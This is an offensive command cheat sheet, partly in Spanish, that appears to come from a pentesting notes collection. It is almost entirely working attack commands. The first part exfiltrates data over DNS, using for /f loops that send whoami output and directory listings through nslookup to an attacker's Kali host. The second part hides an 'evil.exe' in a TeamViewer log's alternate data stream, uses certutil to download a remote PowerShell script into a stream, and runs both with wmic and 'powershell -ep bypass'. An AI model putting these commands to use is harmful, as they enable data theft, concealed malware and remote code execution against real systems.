Shell DNS manual

Atacante (Kali) debe usar una de estas 2 opciones:

sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive

Víctima

for /f tokens _**_técnica: Esto nos permite ejecutar comandos, obtener las primeras X palabras de cada línea y enviarlas a través de DNS a nuestro servidor

for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder

## Selected Examples of ADS Operations ##

### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>

### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe

### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
